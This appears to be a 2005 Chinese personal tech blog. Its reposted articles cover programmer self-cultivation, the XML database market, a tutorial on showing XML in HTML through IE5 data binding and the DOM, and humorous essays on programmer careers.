关于作者

用户名:chechunhui
笔名:蠡雪
地区: 广东-广州
行业:其他

日历  

快速登录

+ 用户名:
+ 密 码:

快速通道

在线留言



访问统计:
文章个数:18
评论个数:5
留言条数:1




Powered by BlogDriver 2.1

听水阁

 

本空间为个人第一空间,主要用来贴一些技术文档,蠡雪本人在MSN Spaces上的空间主要用来写点生活上的想法,欢迎光临:http://spaces.msn.com/members/cch728/

文章

(转载)人工智能历史
摘要:人工智能(AI)是一门极富挑战性的科学,从事这项工作的人必须懂得计算机知识,心理学和哲学。 查看全文

- 作者: 蠡雪 2005年11月28日, 星期一 18:31  回复(0) |  引用(0) 加入博采

(转载)程序员修身养性的十大原则
程序员修身养性的十大原则
2005.11.15  来自:blogchina

生活在这里 搞IT的似乎注定要“飘来飘去”,人员流动性应是所有行业中最高的,毕业七年,服务过4家公司,算是比较稳定的人了,在有些公司工作一年多就成了老员工了,应该说有时是不太守职业道德的,当我发现所在的公司并非自己的理想时,我的心就开始先飘了,人在心不在,这种状况导致工作的效果与效率都不理想,离开只是时间问题,我相信很多朋友也有过这种情况,这是不负责的,对公司与自己都不好,我们尽力做到在那里工作一天就尽责尽力一天, 打工也好创业也好,都要不断提高自己,凡事尽力做到问心无愧,我们要记住,我们现在就生活在此处此地,而不是遥远的其他地方。

       停止猜想,面向实际 我们很多心理上的障碍,往往是没有实际根据的“想当然”造成的。面对问题,有些人喜欢猜想,而不是去调查事实与解决问题,比如项目经理早上因进度缓慢问题将你骂了一顿,然后你就因此而联想下去,心里在嘀咕,项目经理是不是对你有意见?是不是不看重你?这个项目如果做不好就完了等等诸如此类的猜想,其实项目经理只是就事论事,并不针对你个人,他是希望你去想方设法将进度跟上来,或加加班,或与同事一起互相帮助一下,而你却活在自己的猜测里久久不能摆脱,结果会越来越严重,所以无论面对任何困难或责备,你需要做的是面对实际,寻找问题所在,并设法解决问题,而不要去胡乱猜想。

       暂停思考,多去感受 我对这一点的理解就是要劳逸结合,我们这个职业属于重型脑力劳动,我们经常长时间地思考,经常长时间地coding,有时因为一个BUG,我们日日夜夜冥思苦想,有时为了能让项目按进度完成,日以继夜地加班,都快变成了一台没有情感的机器,我建议朋友们偶尔暂停一下思考,花一些时间去观赏美景或美女,多聆听悦耳美妙的音乐,多去感受大自然的花草树木,休假时出趟远门旅游,如果身体允许,下雨天去踢场足球,我们应尽力让生活变得丰富多彩。

       接受不愉快的情感 矛盾无处不在,再乐观的人也会有不愉快的时候,一个优秀的程序员应会处理各种各样的关系,工作上有与客户的关系,与市场人员的关系,与测试人员的关系,与客服人员的关系,与上司的关系,与同事的关系,生活中有与家人的关系,与朋友的关系,与陌生人的关系,我们无法要求所接触的每个人都是我们所想象的,在相处的过程中一定会产生不愉快的情绪,其实愉快与不愉快是相对而言的,同时也是相互存在的,恰当地处理便会相互转化,程序BUG出现了,你一时解决不了,测试人员会追着要你赶快搞定,你变得烦躁与恼火,不停地思索,不断地调试,终于结束了,这时你会有一种如释重负的感觉,心情也会变得愉快起来。

       不要随意下判断 我们往往容易在别人稍有差错或失败之时,就马上下结论,这种方式容易与别人产生摩擦与冲突,结果自己也会烦恼与苦闷。对他人的态度和处理人际关系的正确做法应是:先不要对人或事下判断,先要说出你是如何认为的。这样对方会容易接受,往往你说完自己的看法后,对方也自然而然地知道你的结论。

       不要盲目地崇拜偶像和权威 大多人都需要一个精神寄托的对象,这个对象的成就以及影响力也往往成为我们的追求目标,比如我曾崇拜周恩来,因为他的个人魅力,我曾崇拜张学友,因为他的歌唱得出神入化,我曾崇拜温伯格,因为他的书写得好,可见崇拜或喜欢一个人,总是有一个理由的,我们不能因为这个理由而全部肯定或接受这个对象的一言一语一举一动,那样会禁锢我们的头脑束缚我们的手脚,使我们失去独立思考的习性。

       我就是我 我听过余世维博士的讲座,在他的观点中有一点是强调以我或我们为主,不要去看他们做什么,不要总说别人怎么样,而要关注我们能做什么,我们怎么样,出错了要敢于承认是我或我们的错,而不要将责任推到别人的身上。余博士的这个观点以及所引用的例子让阿蒙受益无穷,决心从我做起,从现在做起,不再怨天尤人,充分发挥自己的潜能与优势,竭尽全力做好自己能做的事情。

       对自己负责 高考的成绩并不好,可以说与我要求的目标差得太远,大一的时候总活在不断地为自己辩护的状态之中,我有时认为失败的原因在家境不好,经济压力太大,使我不能专心学习,有时又将原因归于身体不好,影响学习……这是在逃避责任和现实,将自已的过错与失败都推到客观原因上,失败或错误的原因总是说也说不完,项目没有正常完成,是谁的错,是什么错?需求不明,设计不好,管理不佳,还是程序员的水平不高?有谁能站出来承担自己的那份责任?

       正确地自我估计 无论在工作中还是社会上,我们每个人都占据着一个特定的位置,所以我们需要按这个位置的要求,去履行我们的权利与义务。在一个项目中,如果你是一个系统设计工程师,那么你就全心全力地去完成系统的概要设计与详细设计,并处理好与项目经理、系统分析员、软件开发人员之间的关系,把自己摆在准确的位置上,如果你不按照项目一致规定和大家公认的规范去做,那你将会受到项目其他人员的谴责和反对,也会使项目的管理变得混乱。所以正确地自我评估是很重要的,它可以让我们始终保持冷静,不再好高骛远,也不会骄傲自满或过分自卑,它让我们脚踏实地做事,认认真真做人。

       十大终于写完了,感觉有一丝成就感,尽管有点教条主义的味道,但出发点应是好的,未来的程序员不应是只会埋头苦干的机器,我们需要生动有趣的生活来保持我们的创新能力。在此时抛出十大原则,目的是:当程序员朋友们从远方回来,从疯狂归来之时,能看到一些理性的思维与观点,并好好地自我评估,从我做起,从现在做起,去一步一个脚印地实现自己的梦想。

- 作者: 蠡雪 2005年11月18日, 星期五 09:11  回复(1) |  引用(0) 加入博采

(转载)李开复:最昂贵的“人力资源经理”
摘要:吴世雄:明天你是否依然买我? 杜家滨:“落地生根”却没发芽 吴士宏:与微软的“中国式离婚” 高群耀:那两年就一个“累”字 唐骏:微软中国总裁“终结者” 李开复:最昂贵的“人力资源经理” 查看全文

- 作者: 蠡雪 2005年11月18日, 星期五 08:57  回复(0) |  引用(0) 加入博采

(转载)给所有ActionScript初学者的建议
摘要:给所有ActionScript初学者的建议 查看全文

- 作者: 蠡雪 2005年11月16日, 星期三 15:46  回复(0) |  引用(0) 加入博采

(转载)VC程序员之无法选择的命运
摘要:许多人选择做程序员,因为觉得程序员做的是创造性的工作。 许多人选择做VC程序员,因为想感受掌握一切,君临天下的感觉。 后来,程序员们都明白了:自己所做的,只是最机械、最重复的劳动。我们并未创造着世界,而是让世界死死地牵着鼻子走。我们一步也不敢停留,害怕着会因此与世界失去联系。 查看全文

- 作者: 蠡雪 2005年11月2日, 星期三 17:18  回复(0) |  引用(0) 加入博采

(转载)XML数据库有点悬

XML(Extensible Markup Language)日益成为重要的数据交换格式,它使得我们对信息存储有了新的方法—直接使用XML语言和使用以XML为基础技术的数据查询工具和数据处理工具。然而,这些工具看起来仍然悬而未决。 
  

现在,一个XML数据库市场已经初具规模,以处理适应这种需要。XML数据库产品例如Ixiasoft公司出品的TextML服务器, Software AG公司的Tamino和XYZFind公司的XYZFind服务器,它们允许数据以XML方式提交,而且提供了XML为基础的查询语句,同时返回的数据也是用XML的格式。然而eWeek实验室(美国)的测试表明恰恰是由于程序数据是采用XML的格式,一个本地的XML数据库就不需要再另留位置以保存它们。

XML数据库竞争力不强

一般来说,XML数据库没有足够强大的科技力量与关系数据库(关系数据库具有数据结构化、最低冗余度、较高的程序与数据独立性、易于扩充、易于编制应用程序等优点,现在的数据库绝大多数是关系数据库,如SQLserver、DB2、Orical等等都是第三代的关系数据库)竞争,XML数据库缺乏多重管理、协同工作能力、规划能力、易用性,这些好处恰恰是大型关系数据库所拥有的优点。

缺乏明确的标准也是XML数据库领域的一个问题。XPath查询句法不支持组、排列和摘要数据等功能,更丰富的XQuery查询语言仍然仅仅是一个设计表格。更有甚的是XQuery正式化的时候,它仍然不支持数据更新、插入和删除等功能。

对于已经采用XML数据库的用户来说,这意味着他们需要增加投入资金直到这些问题被提出来解决,这是由于XML数据库的查询语言和编程界面都是销售商拥有所有权(由于版权原因别人不可以改动)。

技术发展继续

XML数据库的主要的优点是他们的自由形态及可面向存储的文件,没有必要在存储他们前指定XML文件的结构。

可以很有把握地说,在接下来的几年里面,所有的数据库产品都需要能够快速地用XML格式语言进行数据的校验、存储和恢复。值得关注的问题是传统的关系数据库是不是可以拥有XML快速的特色,还是新的XML数据库是不是可以拥有传统的关系数据库所擅长的更好的可测量性、可规划性、可靠性和易管理性。

基于历史和经验的考虑, 传统型的关系数据库将会完全打败XML数据库。在1996和1997年, 我们看到关系数据库的生产商Oracle公司,IBM和Informix软件公司(现在IBM的一部分)把对象数据库和Java语言特征加到他们的关系数据库与纯对象数据库进行竞争。在1998和1999年,这几家公司增加了许多可扩展性,如可以存储空间信息、文章、图像、HTML和时间等数据到他们的数据库里。在市场上基本上封杀了那些只可以存储一种数据形式的客户数据库。

现在, 关系数据库生产商正在利用以前的产品,那些产品已经增加了支持对象、可扩展性、Java和文档处理等功能,并且结合了他们对XML技术深入研究的成果和对XML查询语言的了解。很长一段时间,我们都认为关系引擎是很适合XML数据和非XML数据的。

竞争激烈

Oracle、IBM 和Sybase等数据库系统公司都把XML数据类型加到了他们的数据库之中,这样就可以把XML数据存储到他们原来的数据库系统中。这些提供商的数据库产品,连同微软的SQLServer允许数据库管理员在输入XML数据时对XML进行分析,并且可以存储这些信息于一系列关系表中,这些产品也允许恢复XML型的数据。

而且IBM、Oracle和微软都公开声称他们的XML将让数据库运行速度更快,能提供更好的网络服务。

微软将用代号为Yukon的SQL Server来冲杀企业级市场。Yukon是基于XML的,且是微软的.net网络服务的重要部分。而且Yukon的一个最重要的功能是能建立多语言的数据库。微软对下一代SQL Server数据库的推出时间相当保密,只是称一切都在按计划进行。但未说明具体的时间。Yukon可能将于2003年上半年推出,而在2002年第二季度,Yukon的beta测试版有望推出。微软在推出的系统网络软件中都增加了XML标准,如2001年10月份推出的SQLXML 2.0软件。

Oracle和IBM也将在XML战中争抢市场。Oracle公司就在最近推出与XML有关的产品XDB(XML数据库支持)。

而IBM则称该公司已经领先Oracle和微软,并推出与XML有关的重要的数据库产品,而且采用了所有正确的编程标准和协议。IBM强调的是其DB2和XML Extender的结合将提供同Oracle公司的XDB类似的技术。目前微软、IBM和Oracle公司数据库核心都是采用的XQuery标准。

等待新技术出现

现在竞争的结果就是, 凌乱的和不完整的结构数据被XML数据库处理得很好。围绕着纯文档的存储来组织应用程序,例如指南,手册或网页,我们将发现原本的XML数据库就是正确的网络工具。

在短期时间里,那些能经常与文本打交道的应用程序将会发现XML数据库非常适合他们。另外,我们推荐用户多研究一下关系数据库提供商们正在做什么,现在每个星期都有新的技术被运用进来。(责任编辑:王岳)

- 作者: 蠡雪 2005年10月1日, 星期六 11:07  回复(0) |  引用(0) 加入博采

(转载)在 HTML中显示XML数据的策略

HTML中显示XML数据的策略

文章作者:广州工程技术职业学院 张晞

 

摘要: HTML 是目前常用的网页标识语言,而 XML 的优点在于能有效地存贮各种形式的数据,它克服了 HTML 表达能力差的缺点。本文对在一个 HTML 文档中插入 XML 数据,并在 IE5 浏览器中显示的两种常见的策略(数据绑定、 DOM )进行了深入的探讨。

关键词: HTML XML DOM DSO 数据绑定

  XML 的全名是 eXtenxible Markup Language (可以延伸或扩展的标记语言),它的语法类似 HTML ,都是用标签来描述数据。 HTML 的标签是固定的,我们只能使用、不能修改; XML 则不同,它没有预先定义好的标签可以使用,而是依据设计上的需要,自行定义标签。所以在电子商务的网络时代,用 XML 来组织数据,再用 HTML 页面来显示,将是设计网页的新方向。

  本文主要对两种在 HTML 中存贮并显示 XML 文档数据的策略(数据绑定、 DOM )进行探讨。

一、 数据绑定( Data Binding )技术

  数据绑定技术适用于结构规则的 XML 文档,它对 XML 文档的数据用类似于关系数据库的技术进行处理。

  例如,有一个关于产品目录的 XML 文档( product.xml )结构如下:

   ……

    <CATALOGUE>

     <PRODUCT InStock=”yes”>

      <PRODUCTID>00001</PRODUCTID>

      <PRODUCTNAME Supplier=”fuller”>

          football </PRODUCTNAME>

      <PRICE> 50</PRICE>

    ……

     </PRODUCT>

    ……

    </CATALOGUE>

  按下面介绍的两个步骤,可将 XML 文档和 HTML 文档绑定,并在 IE5 中显示 XML 文档的数据。

  1. 把一个 XML 文档连接到一个 HTML 文档中

  方法一:将整个 XML 文档插入至 HTML 文档中,其形式如下:

      <HTML>

      <HEAD>

       <TITLE> product decription</TITLE>

      </HEAD>

      <BODY>

       <XML ID=”product”>

       <?XML version=”1.0”?>

      …… ‘ 将以上的 product.xml 文档的内容插入至该处

       </XML>

      ……

      <BOLY>

      </HTML>

   方法二:只将一个对 XML 文档的引用插入至 HTML 文档中,其形式如下:

      <HTML>

      <HEAD>

       <TITLE> product decription</TITLE>

      </HEAD>

      <BODY>

       <XML ID=”product” SRC=”product.xml”> </XML> ‘ src 指出引用的 XML 文档源

       ……

      </BODY>

      </HTML>

   方法二的好处在于:它将 XML 文档的数据和 HTML 的显示格式分开,便于用户进行维护。而且,多个 HTML 文档可以共享一个 XML 文档。

  当 IE5 打开一个 HTML 文档时,其内置的 XML 处理器会读取和分析页面中已连接的 XML 文档,然后产生一个数据源对象( DSO ,全称是 Data Source Object ),以便存贮和读取数据。 DSO 在存贮 XML 文档中的数据时,会将元素解释成记录和字段的集合,并自动抽取 XML 元素的数据和处理所有的显示细节。

  2 .将标准的 HTML 元素(例如 TABLE SPAN 等)和 XML 元素绑定

  方法一:表数据绑定,即将 HTML TABLE 元素和 XML 数据绑定,以便在 IE5 中用表格的形式一次性地显示整个 XML 文档的数据。

  其形式如下:

     ……

     <TABLE DATASRC=”#PRODUCT” BORDER=”1” ……>

      <THEAD>

       <TH> productid</TH>

       ……

      </TH>

     </THEAD> ‘ 显示表格的标题

     <TR ALIGN=”center”>

      <TD><SPAN DATAFLD=”productid”></SPAN></TD> ‘ 在表格单元格中显示 productid 的内容

      ……

     </TR>

    </TABLE>

     ……

  方法二:单一记录数据绑定,即将 HTML 元素(如 SPAN BUTTON LABEL 等非表格元素)和 XML 文档中的一个单一的字段进行绑定,以便在 IE5 中一次只显示一条记录的内容。此时,为了浏览方便,最好在页面中增加关于记录的导航按钮。

  其形式如下:

   ……

   <SPAN STYLE=”font-style:italic”> ProductID</SPAN> ‘ 显示标题

  <SPAN DATASRC=”#product” DATAFLD=”productid”

     STYLE=”font-weight:bold”></SPAN> ‘ 显示 productid 的内容

  ……

  <BUTTON ONLICK=”product.recordset.moveprevious();

            if (product.recordset.bof)

            product.recordset.movenext()”>

            &lt;back;

  </BUTTON> ‘ 产生一个向前导航的按钮

  ……

  注意:当用数据绑定技术显示 XML 文档数据时,如果 XML 元素中有参数,则 DSO 会将该元素处理成层次型的记录。例如: product.xml 文档中的“ PRODUCTNAME ”元素有一个“ Supplier ”参数,则 DSO 会将该元素处理成下面的形式:

  <PRODUCTNAME>

   <Supplier> fuller</Supplier>

   <$TEXT>football</$TEXT>

  </PRODUCTNAME>

  此时,必须用 $TEXT 作为字段名来读取“ football ”数据,其形式如下:

  ……

    <TABLE DATASRC=”#product” DATAFLD=”productname”>

    <TR>

      <TD><SPAN DATAFLD=”$TEXT”></SPAN></TD>

      <TD><SPAN DATAFLD=”Supplier”></SPAN></TD>

    </TR>

    <TABLE>

  ……

二、 DOM 技术

  1 DOM 技术的特点

  DOM XML Document Object Model 的简称。它是 XML 文档和 HTML 文档的接口,其中包含一系列代表 XML 文档不同部件的程序对象。利用这些对象的属性和方法,并使用脚本语言(如 VBScript JavaScript 等)编制成脚本后,就可以在一个 HTML 页面中显示 XML 文档的数据。虽然利用 DOM 技术比数据绑定技术复杂,但它可以处理及显示结构规则或不规则的 XML 文档中任意部件(如元素、参数、处理指示、注释、实体和标记等)的数据内容,

  和数据绑定技术类似,要使用 DOM 技术,必须首先对 XML 文档源进行引用:

  <XML ID=”product” SRC=”product.xml”></XML> ‘ XML 文档源的引用

  接着,就可以利用 DSO XMLDocument 成员使用 DOM

  Document=product.XMLDocument

  作为 W3C 的标准接口规范,目前, DOM 由三部分组成,包括:核心( core )、 HTML XML 。核心部分是结构化文档比较底层对象的集合,这一部分所定义的对象已经完全可以表达出任何 HTML XML 文档中的数据。 HTML 接口和 XML 接口两部分则是专为操作具体的 HTML 文档和 XML 文档而提供的高级接口,它们可以使得对这两类文件的操作更加方便。

  当 DOM XML 文档进行分析之后,不管这个文档有多简单或者多复杂,其中的信息都会被转化成一棵对象节点树(如图 1 )。在这棵节点树中,有一个名为 Document 根节点,所有其他的节点都是根节点的后代节点。 DOM 实际上是利用对象来把文档模型化,这些模型不仅描述了文档的结构,还定义了模型中对象的行为。换句话说,图 1 中的节点不是数据结构,而是对象。 DOM 接口利用对象中包含的方法和属性,就可以访问、修改、添加、删除、创建树中的节点和内容。

  在 DOM 接口规范中,有四个基本的接口: Document Node NodeList 以及 NamedNodeMap 。其中, Document 接口是对文档进行操作的入口。它是从 Node 接口继承过来的。 Node 接口是其他大多数接口的父类,象 Documet Element Attribute Text Comment 等接口都是从 Node 接口继承过来的。 NodeList 接口是一个节点的集合,它包含了某个节点中的所有子节点。 NamedNodeMap 接口也是一个节点的集合,通过该接口,可以建立节点名和节点之间的一一映射关系,从而利用节点名就可以直接访问特定的节点。

1

  2 .利用 DOM XML 文档的数据进行处理

  (1) 对 XML 某个元素的数据进行处理

  其形式如下:

  productid.innerText=DocumentElement.childNodes(0).text; ‘ 取得 productid 的数据,并将它赋给 HTML SPAN 元素的 innerText 属性

  <SPAN ID=”productid” STYLE=”font-weight:bold”></SPAN> ‘ 显示 productid 的数据

  (2) 对 XML 文档中同名元素的所有数据进行处理

  其形式如下:

  Nodelist=Document.getElementsByTagName(“productname”); ‘ 取得所有 productname 的数据,并形成一个 Nodelist 集合

  For(i=0;i<Nodelist.length;++i)

  ResultHTML+=Nodelist(i).xml+”\n\n”;

  ResultDiv.innerText=ResultHTML; ‘ 用循环语句显示所有 productname 的数据

  (3) 对 XML 元素的参数数据进行处理

  其形式如下:

  NamedNodeMap=Document.DocumentElement.childNodes(0).attributes; ‘ 取得所有 product 的参数,并形成一个 NamedNodeMap 集合

  For(i=0;i<NamedNodeMap.length;++i)

  Alert(NamedNodeMap.getNameItem(i).nodeValue); ‘ 用循环语句显示所有 product 参数的数据

  如果在参数中包含有实体,则应采用下列形式对 XML 的实体和实体中的标记进行访问:

  Attribute=Document.DocumentElement.childNodes(0).attributes(0); ‘ 取得 product 元素的参数

  If(attribute.datatype==”entity”) ‘ 检测参数的类型是否为 entity 类型

  Entity=Document.doctype.entities.getNameItem(attribute.nodeValue); ‘ 取得 XML 文档的 DTD 声明中的某个实体的名字

  DisplayText=Entity.attributes.getNameItem(“SYSTEM”).nodeValue; ‘ 取得该实体中 system 的源文件数据

  NotationName=Entity.attributes.getNameItem(“NDATA”).nodeValue; ‘ 取得该实体中 NDATA 标记的名字

三、结束语

  目前,有三种途经可以在 IE5 中显示 XML 文档的数据:样式单、数据绑定及 DOM 。样式单的特点是单独设计一个用于处理显示格式的样式单( CSS 样式单或 XSL 样式单),然后在 XML 文档中对样式单进行引用;而后面两种技术的特点是利用 HTML 文档对 XML 存贮的数据进行显示,这样,可以将 XML HTML 相结合,充分利用 XML HTML 各自的优点。

  参考书目:

  (1 Natanya Pirts . XML 轻松进阶 . 电子工业出版社 . 2000 年月 1

  (2 Jake Sturm . XML 解决方案 . 北京大学出版社 . 2001 4

 

 

- 作者: 蠡雪 2005年09月20日, 星期二 21:31  回复(0) |  引用(0) 加入博采

软件人员的生涯规划(作者:蔡学镛)
生涯规划,这么一个严肃而重要的主题,似乎应该找学者专家们来发表言论和研究报告才是,没有我这个年轻人说话的余地。只是,日昨在报纸上看到许多前职棒明星现今的遭遇之后,感触良多,我于是写了这篇文章。

报载,许多前职棒明星,当时月领三十多万的高薪,现在居然在台北抽水站看守闸门,薪资也变成三万多。他们接受记者访问时,都会提到一句:「我一辈子都在打棒球,除了棒球之外,我没有别的专长。」

这句话激起我的危机意识,我不想在我写不动程序后,被公司踢出门,然后中年失业,没有其它专长的我,被亲戚介绍去台北抽水站看守闸门。我并不轻视看守闸门的工作,我认为工作只要正当,是没有尊卑的,何况在台北抽水站看守闸门是一件重要的工作,事关台北地区在台风时期淹水与否,只是这并不是我想做的工作。

你或许会认为:写程序没什么不好的,你爱写程序,你不在乎程序员的薪资微薄,你就是想写一辈子的程序。但是我要对你浇一盆冷水,在年纪渐渐变大之后,你会开始有「力不从心」的感觉,因为你的生理机能正逐渐走下坡,你的体力不容许你熬夜帮公司赶程序,你的记忆力减退,使得你学习新技术的速度缓慢。不管你多么热爱写程序,早晚你还是会遇到这个问题。

想在人生的每个阶段都从事自己想做的工作,就得早点进行生涯规划。对运动员、程序员等职业生涯短的人来说,生涯规划更是重要。

在不当程序员后,我会做什么呢?我可能会到信息出版社当技术编辑,过去程序员的经历可以让我对此工作胜任愉快,而且当技术编辑还可以继续学习信息新知,所以这是我目前的首选。希望届时 O'Reilly 台湾分公司还肯接纳我。J

我也可能当职业性的技术作家。我很喜欢研究新技术,也喜欢写文章。我可以当技术作家,将我所研究的一些技术心得写成一本本的书。如果中文技术书的市场太小,我可以改用英文写,就可以卖到全世界了。

我可以到处去讲课。长期的讲课经历,我已经被训练得有本事可以在课堂上讲得口沫横飞,也能够编写出精采的教材,上过课的学生评价也都还不错。我可以到教育单位或补习班讲课,我也可以自己接受企业包班,或者开教学网站进行线上教学。

我可以当计划顾问、或计划的 leader,程序员的经历使得我具备掌握大型计划的能力,我不用再亲自写程序,但是我可以带着年轻的程序员去做计划,一如当时别人带着我做计划一般。

最近我还发现,我的文笔竟然可以很煽情(也不晓得从哪里学来的),或许,在我以后不写程序之后,还可以转行当文艺小说家,写一些充满爱恨情仇、乱七八糟的小说,来造福生活平淡但仍存有幻想的妇女族群呢!

我知道现在流行开公司,不过这不在我的生涯规划之内。像我这种败家子型的人去开公司肯定没有好下场,我有自知之明。我可不想找了些好友集资开了一家叫做「eBullshit.com」的网络公司,然后现金在一年内烧完,好友们也因此反目成仇。不!我不开公司。

我的指导教授觉得我这个人没啥大志向,「老是想到出版社去做书或到教育单位讲课赚些小钱」,他认为我有能力做「大事业」。但是我告诉你,生涯规划是规划自己想过的生活,而不是别人想过的生活,我才不要人云亦云。几天前在台北火车站附近看到一个外国人自弹自唱国语歌曲,好听极了。到异乡自由地旅行,弹唱赚一些旅费,这是他喜欢的生活方式,有何不可。谁说一定要开名车、娶名模、住豪宅才是成功的生涯。

生涯规划会随着年纪增长和生活经验的累积,以及人生观的改变而有阶段性的差异,所以生涯规划不宜过于长期。生涯规划应该以渐进的、多样的方式来进行。渐进的,才不会好高鹜远;多样的,才可以分散风险。而且,生涯规划要及早,因为有越充分的时间准备,越有可能实现。即使你想潇洒地背着吉他到异乡旅行弹唱,你也得好好地练吉他吧!

把握时间朝着你所规划的生涯迈进!时间过得很快的,浪费不得。你不会希望有一天你在床上醒来,睁开眼后盯着天花板,你发现你已经五十岁了,昨晚五十大寿 birthday party 的宿醉使得你现在头痛欲裂。你发现这些年来你依旧是浑浑噩噩的度过,生涯规划依旧只是「规划」,没一个实现。你在床上抱头痛哭,就在你五十岁生日当天。

- 作者: chechunhui 2005年09月7日, 星期三 22:17  回复(0) |  引用(0) 加入博采

再论香鸡排(作者:蔡学镛)
由于许多读者缺乏版权观念,在网路上到处张贴转寄“程序与香鸡排”一文,使得该文章在网路上引起程序员广大的回响。当“该文作者”在 BBS 各版和各种网页讨论区都看到自己的文章被人到处张贴讨论时,惊骇莫名。更荒谬的是,该文章居然还绕了一圈被人转寄到“该文作者”的 email 信箱中。该文章引起回响的程度远远超出“该文作者”的预期。

有的人对于“该文作者”寄予无限的同情,毕竟该文章内容写得太负面了。Oh! No. 你们搞错同情对象了,事实上该文并非“该文作者”的写照,毕竟“该文作者”未婚(不用担心 SKII 和 DKNY 的支出),也还没未婚生子(不用担心多元入学方案和补习费),也从不标会(对高风险事物没兴趣),也从不对统一发票的中奖号码(这点小钱根本不放在眼里),也没有不长进的亲戚敢上门伸手要钱(言语犀利苛薄,亲戚躲他像躲鬼一样避之唯恐不及),也不是非科班出身的便宜程序员(虽然没本事取得博士学位,但好歹也是个清华大学的资讯硕士),也在台湾和大陆的 Java 圈子都小有名气(但不排除有些人孤陋寡闻)。横看竖看,“该文作者”都不算是一个受到压榨的程序员。甚至“该文作者”经常逛街疯狂瞎拼买到手软,出门懒得挤公车只坐计程车,在路上看到卖口香糖的老人或残障人士一定会捐钱,...... 这么努力花钱,但不知怎地钱就是花不完,所以“该文作者”可以说是生活得相当优渥的。而且“该文作者”还得寸进尺,常嚷嚷不想工作,宣称以后要辞职回家变卖家产,靠父母亲一点一滴挣来的财产来过无忧无虑的生活。你一定想问:既然如此,“该文作者”干嘛写了一篇胡乱抱怨的文章,无端惹来你掬一把同情之泪?我希望你不要因此怨怼“该文作者”欺骗你的感情,“该文作者”只是利用文学中“示现修辞格”的手法来撰写该文章,以求得强烈的阅读效果,这和“十八岁赚一亿”一书作者蓄意欺骗的行径是完全不同的。“该文作者”悲天悯人,对于许多程序员的遭遇感同身受,透过该文章,将他所知道的一切披露出来,代替许许多多台湾的程序员发声。 够了!我们不要再谈论“该文作者”了!免得让你因为过度羡慕他而开始哀声叹气,毕竟这么有福气又嚣张的人实在不多。该文作者“托梦”请我整理这些日子以来读者的看法,我无法拒绝这样的请托,因为我和“该文作者”的关系实在太密切了。

有一些有志进入软件产业的在学学生忧心忡忡,表示看了该文章之后,信心开始动摇,有幻灭的感觉。我认为,幻灭是成长的开始,早点经历幻灭总是好事,才不会一厢情愿地只看到事物好的一面,也因此会多做好一些准备(不管是心理上的准备或技能上的准备),成功的机会就会大幅提高。学生距离就业还有许多年的光景,只要好好把握这些年充实自己,其实以后你们在软件产业的发展前途仍然是很不错的。至于程序与香鸡排的作者,则是一个“先天下之忧而忧,后天下之乐仍忧”的一个“马不停蹄地忧伤”的小子,所以你们不要把他那过度负面的看法放在心上。香鸡排,你们负责吃就好了,要卖也是我来卖。 也有许多读者对于该文章感到心有戚戚焉,这类的读者以程序员居多。我要警告这类的程序员,如果你平常不好好加强自己的分析设计技巧、管理能力、或其他技能,当程序员当了五年后仍然只是最低阶的程序员,还得亲自写程序,辛辛苦苦地追著琐碎的技术跑,那么你就真得要小心考虑,卖香鸡排或许真的比较适合你。 也有人的薪资不止五万元,质疑该文章太悲观。一般来说,这种人可能在外商公司、或者已经脱离程序员等级、或者在不太软的软件公司(例如 chip design),或者在非软件公司的 MIS 部门。我认识一个年资约两年的程序员,在一家不太软的外商软件公司当程序员,月薪约 6 万台币,但这样的价码可是大多数的程序员都无法达到的。薪水这么高的程序员,不需要转行卖香鸡排。

有些人则没有受到“该文作者”的恫吓所打击,仍坚持要继续在软件行业走下去,我很佩服这样的人,因为你正是软件产业需要的人。你不把钱看得太重,而且肯努力、有兴趣,只要继续持之以恒,我相信你在未来的报酬自然也不会太差的。但是你千万要慎选公司,选择一个有发展前景又愿意栽培你的公司,否则你最后还是可能会去卖香鸡排的。 还有一些读者提出许多有建设性的宝贵意见,这些意见包括了:“鸡排一块不只赚 13 元,一天不只卖 300 个,十万元的估计太保守”、“珍珠奶茶其实更有赚头,每杯净赚八成”、“卤味不需要技巧,比较适合程序员转行”、“当灵修讲师不需要大学学历,轻轻松松月入七万元”。但不管怎样,我还是对卖香鸡排情有独钟,我两小时前才刚到饶河街夜市吃了一个香鸡排,此刻仍然齿颊留香,回味无穷。卖香鸡排的收入也有很大的差异,有些香鸡排的摊位门可罗雀,有些香鸡排的摊位生意好到老板累得一边吊点滴一边炸香鸡排。前阵子我看到电视新闻采访一位在新竹科学园区附近卖香鸡排的女老板,她说她每个月赚 45 万元以上。她还告诉记者香鸡排好吃的秘诀在于酱料,但任凭记者怎么追问,她仍不肯透露酱料的作法。急于开店卖香鸡排的我对此婆娘小气之举很不以为然,我悻悻然地自言自语:“哼!秘诀?你以为我无法得知你的酱料配方?”我决定重金礼聘擅长偷拍的“郭女士”出马,先接近该香鸡排店的女老板成为她的灵修姊妹淘,取得信任之后,再潜入该女老板的厨房装设针孔摄影机。我相信,以郭女士纯熟的偷拍手法,酱料的配方会落入我手中。有了她的酱料,加上我独门研发使用高筋面粉和数十种珍贵药材做出来的销魂蚀骨酥皮,我写程序的苦日子即将结束,我终将成为香鸡排大亨的。想到这里,我喜孜孜地笑了。

- 作者: 蠡雪 2005年09月7日, 星期三 22:13  回复(0) |  引用(0) 加入博采

一个 Java 信仰者的告诫(作者:蔡学镛)
Java,感谢你赐与我一辈子的恩典;虽然我多次犯罪得罪了你,但你还是爱我,愿意宽赦我。我感谢你允许我现在来告解;有人赶不上告解就离世了,这是多么的不幸!

Java,请帮助我想起我所犯的罪过,并帮助我诚实告明。求你使我认清邪恶帝国的丑陋,并赐给我强大的程序设计能力,使我知道常得罪你是多么忘恩负义的事。

我没有勉力帮助他人认识你和你所带来跨平台的福音。我已经有半年没有开过 Java 课了,也因此无法将更多人带领进 Java 的圈子成为你的子民。不过,我即将在四月开始陆续开一些 Java 的课程,内容从入门到高阶都有,价钱公道,讲师优秀,希望能因此弥补我这半年来的错误。另外,O'Reilly 台湾分公司和我为了推广 Java 而开设的 Sleepless in Java 线上专栏,也一直没有太多人来阅读文章,所以我对于 Java 的推广实在没什么建树,让我感到很愧对你。但是,大家不来看我的文章,我也无可奈何,希望你不要因此而责难我。

这几天,我又犯了罪,我要诚心地向你忏悔。虽然我接下 Java Message Service(JMS)一书的中文版翻译工作,目的是为了让大家能够知道你所带来的 Messaging API 用在企业内部有相当多的好处,但是我因为白天要上班,晚上回家后又很累,所以翻译工作一直快不起来,没能让这本书早点出版,我对你感到很愧疚。

